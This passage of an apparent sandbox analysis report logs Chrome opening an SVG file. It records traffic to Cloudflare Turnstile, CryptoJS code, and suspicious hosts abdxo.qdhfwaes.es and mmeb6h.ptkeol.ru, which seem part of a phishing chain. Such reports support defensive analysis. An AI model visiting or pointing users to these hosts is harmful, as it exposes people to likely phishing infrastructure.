2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 Data Ascii: var o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFG
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 39 36 2a 61 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d Data Ascii: 96*a.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 2c 32 33 2c 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d Data Ascii: ,23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49705	104.18.94.41	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:55:49 UTC	689	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abdxo.qdhfwaes.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 16:55:49 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 16:55:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 922e7fe5de390fe4-LAX alt-svc: h3=":443"; ma=86400
2025-03-19 16:55:49 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-19 16:55:49 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49706	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:55:49 UTC	559	OUT	OPTIONS /report/v4?s=7LZPigoFhvALOM1VTa7BK1%2FMbIxCPLKX%2FKudtsWlmV%2FxPZHTNSeJEWl%2Bk84ToP3t2%2FLG%2BJuDJCXY9d8AEN9ZSUTliM6b23KKlLPuwWinOaWH1GvUVxg9MeD%2Bb9izWV2GXbw2V%2BIk HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cdnjs.cloudflare.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49708	104.16.2.189	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:55:50 UTC	638	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://abdxo.qdhfwaes.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49721	188.114.97.3	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:56:08 UTC	569	OUT	GET /chiriya!efabej HTTP/1.1 Host: mmeb6h.ptkeol.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://abdxo.qdhfwaes.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://abdxo.qdhfwaes.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49727	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:56:49 UTC	559	OUT	OPTIONS /report/v4?s=7LZPigoFhvALOM1VTa7BK1%2FMbIxCPLKX%2FKudtsWlmV%2FxPZHTNSeJEWl%2Bk84ToP3t2%2FLG%2BJuDJCXY9d8AEN9ZSUTliM6b23KKlLPuwWinOaWH1GvUVxg9MeD%2Bb9izWV2GXbw2V%2BIk HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cdnjs.cloudflare.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 16:56:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 19 Mar 2025 16:56:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49728	35.190.80.1	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:56:50 UTC	534	OUT	POST /report/v4?s=7LZPigoFhvALOM1VTa7BK1%2FMbIxCPLKX%2FKudtsWlmV%2FxPZHTNSeJEWl%2Bk84ToP3t2%2FLG%2BJuDJCXY9d8AEN9ZSUTliM6b23KKlLPuwWinOaWH1GvUVxg9MeD%2Bb9izWV2GXbw2V%2BIk HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 501 Content-Type: application/reports+json Origin: https://cdnjs.cloudflare.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 16:56:50 UTC	501	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 36 30 30 30 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 36 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 61 62 64 78 6f 2e 71 64 68 66 77 61 65 73 2e 65 73 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 31 37 2e 32 34 2e 31 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 72 65 73 70 6f 6e 73 65 2e 69 6e 76 61 6c 69 64 2e 69 6e 63 6f 6d 70 6c 65 74 65 5f 63 68 75 6e Data Ascii: [{"age":60002,"body":{"elapsed_time":1160,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://abdxo.qdhfwaes.es/","sampling_fraction":1.0,"server_ip":"104.17.24.14","status_code":200,"type":"http.response.invalid.incomplete_chun

Statistics

CPU Usage

• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	0
Start time:	12:55:43
Start date:	19/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VIEWRE~1.SVG
Imagebase:	0x7ff77eaf0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	12:55:44
Start date:	19/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,13598698509280980246,18089039725013681096,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:3
Imagebase:	0x7ff77eaf0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
